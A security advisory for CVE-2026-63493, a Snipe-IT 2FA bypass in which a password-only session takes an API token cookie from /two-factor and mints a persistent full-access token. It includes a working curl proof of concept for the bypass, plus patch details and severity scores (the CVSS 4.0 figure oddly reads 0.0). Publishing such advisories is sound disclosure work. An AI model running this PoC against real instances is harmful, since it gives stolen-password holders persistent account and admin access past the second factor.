Skip to content

GHSA-hxcx-9h4f-42xx CVE-2026-63493

Snipe-IT: 2FA bypass via the API token flow

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 25.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-288 Authentication Bypass Using an Alternate Path or Channel
Fix
8.7.0
Upgrade snipe/snipe-it to this version or later

Description

Impact

An attacker who knows a victim's password fully bypasses that account's 2FA and obtains a persistent token with full API access as the user (read and write across the user's permissions, including admin if the victim is an admin).

The token is an API credential, not a web/UI session (using it on web routes redirects to /login), but the REST API covers essentially the whole application. If the victim is an admin, the token can also call the admin users/two_factor_reset endpoint, which is in the same un-gated API surface, to clear the account's enrolled 2FA. The next login is then forced to re-enroll a second factor, which the password-holding attacker can complete with their own device, taking over the account's web access and locking the legitimate user out.

Summary:

2FA is enforced only by the web middleware group, not the api group, and the personal-access-token endpoint is in the api group. A session that has passed the password check but not the 2FA can mint a persistent API token and use it for full API access.

Details:

CheckForTwoFactor is in the web group but not the api group:

// app/Http/Kernel.php
'web' => [ ..., CheckForTwoFactor::class, CreateFreshApiToken::class, ... ],
'api' => [ 'auth:api', EnforceApiUserAgent::class, ... ],   // no CheckForTwoFactor

Two consequences:

  1. /two-factor is exempt from the check, and CreateFreshApiToken runs right after it in the web group:

    // app/Http/Middleware/CheckForTwoFactor.php public const IGNORE_ROUTES = ['two-factor', 'two-factor-enroll', 'setup', 'logout'];

So a password-authenticated session that lands on /two-factor (before entering a code) is let through and gets issued the Passport snipeit_passport_token cookie.

  1. The token endpoint is in the api group, which never checks 2FA, gated only by self.api:

    // routes/api.php -> Api\ProfileController::createApiToken (line 98) if (! Gate::allows('self.api')) { ... } // the only gate; no 2FA check

Login authenticates on the password alone (LoginController::login calls Auth::login). 2FA is enforced only by web middleware on later page loads. So between a correct password and a completed second factor the session is already authenticated, can grab the Passport cookie via /two-factor, and can call the token endpoint over the api group. The token is long-lived (40-year expiry by default) and grants full API access as the user.

Proof of concept:

Setup: an account with 2FA enabled and the self.api permission (the permission that governs API access, so any account meant to use the API has it). The attacker has the password but not the TOTP device, and never completes the second factor.

HOST=https://snipeit.example.com/
USER=victim
PASS='victim-password'

# 1. log in with the password only. Every web page now redirects to
#    /two-factor until a code is entered. never enter one.
csrf=$(curl -s -c cookies.txt "$HOST/login" \
       | grep -oP 'name="_token" value="\K[^"]+')
curl -s -b cookies.txt -c cookies.txt "$HOST/login" \
     --data-urlencode "_token=$csrf" \
     --data-urlencode "username=$USER" \
     --data-urlencode "password=$PASS" -o /dev/null

# 2. GET /two-factor with no code. It is exempt from the 2FA check, so
#    CreateFreshApiToken issues the snipeit_passport_token cookie.
curl -s -b cookies.txt -c cookies.txt "$HOST/two-factor" -o /dev/null
grep -q snipeit_passport_token cookies.txt && echo "[2] Passport cookie issued, no code"

# 3. mint a persistent token over the api group (no 2FA check). Passport's
#    cookie guard wants the session's own XSRF token echoed as a header,
#    which our session already holds.
xsrf=$(awk '/XSRF-TOKEN/{print $7}' cookies.txt | tail -1)
xsrf=$(printf '%b' "${xsrf//%/\\x}")
pat=$(curl -s -b cookies.txt "$HOST/api/v1/account/personal-access-tokens" \
      -X POST -H "Accept: application/json" -H "X-XSRF-TOKEN: $xsrf" \
      --data-urlencode "name=poc" | jq -r '.payload.token')
echo "[3] token: $pat"

# 4. use the Bearer token against a real endpoint. /users/me returns the
#    victim's own account, proving the token acts as the victim with 2FA
#    never completed. (If the victim is an admin, the same token reaches the
#    whole API, e.g. GET /api/v1/users returns the full user directory.)
curl -s "$HOST/api/v1/users/me" \
     -H "Authorization: Bearer $pat" -H "Accept: application/json"

Step 3 returns a token with no code ever submitted, and step 4 returns the victim's own account ({"id":1,"username":"victim","email":...}). Meanwhile the same session is still blocked from every web page until 2FA is completed, which shows the api group simply never enforces it.

Patches

Fixed in commit 87c362962a via PR #19294 (FD-56499). The fix adds a new API-side middleware, EnforceApiTwoFactorEnrollment, registered on the api middleware group after auth:api. The new middleware answers the question "does this token's owner have a second factor enrolled at all?", which is orthogonal to the session-scoped 2fa_authed flag that CheckForTwoFactor relies on. Behavior:

  • Passes through when there's no authenticated user (leaves the standard auth:api 401 in place).
  • Passes through when two_factor_enabled is disabled in settings.
  • Under optional mode (two_factor_enabled = '1'), only enforces on users who explicitly set two_factor_optin = '1', matching the web-side behavior and preserving legacy PATs for users who never opted in.
  • Under required mode (two_factor_enabled = '2'), enforces regardless of optin.
  • Blocks with 403 + Helper::formatStandardApiResponse('error', null, trans('auth/message.two_factor.please_enroll')) when the token owner's two_factor_enrolled != '1'.

Regression coverage lives in tests/Feature/Authentication/EnforceApiTwoFactorEnrollmentTest.php.

Credit

Reported first by colinthebomb1 and Theebanbabu, followup confirmation report by SRT at submersion SRT@submersion.ai.

Affected versions

Packagist

PackageVulnerableFixed in
snipe/snipe-it
< 8.7.0
8.7.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

snipe/snipe-it Packagist → 8.7.0

composer
composer require snipe/snipe-it:^8.7.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-288: Authentication Bypass Using an Alternate Path or Channel

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

How to prevent it
  • Architecture and Design: Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-396x-xmvh-p563
Snipe-IT: Stored XSS via Inline XML Rendering in the Uploaded Files API
Medium Also affects snipe/snipe-it
GHSA-p9h3-gvpq-5539
Snipe-IT: Stored XSS via Custom Field name in asset-list column headers
High Also affects snipe/snipe-it
GHSA-c8qc-wf67-342w
Snipe-IT: Stored DOM XSS via table selected-count IDs
Medium Also affects snipe/snipe-it
GHSA-r9r3-g9fp-3q4q
Snipe-IT: Maintenance Record Disclosure via Missing Authorization on GET
Medium Also affects snipe/snipe-it
GHSA-3hgv-jr5j-cg9x
Snipe-IT: Chained Information Disclosure and IDOR Leads to Full EULA File Takeover
Medium Also affects snipe/snipe-it
GHSA-c6w2-j4wq-mvwg
Snipe-IT: Tenant Isolation Bypass in FMCS Floater Mode
High Also affects snipe/snipe-it
GHSA-35cr-9hqq-p2mg
Snipe-IT: Cross-company deletion of pending checkout acceptances via unscoped report endpoint
Medium Also affects snipe/snipe-it
GHSA-w7qw-5wfv-gwx9
Snipe-IT has CSS Injection via `header_color` Setting
Medium Also affects snipe/snipe-it
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor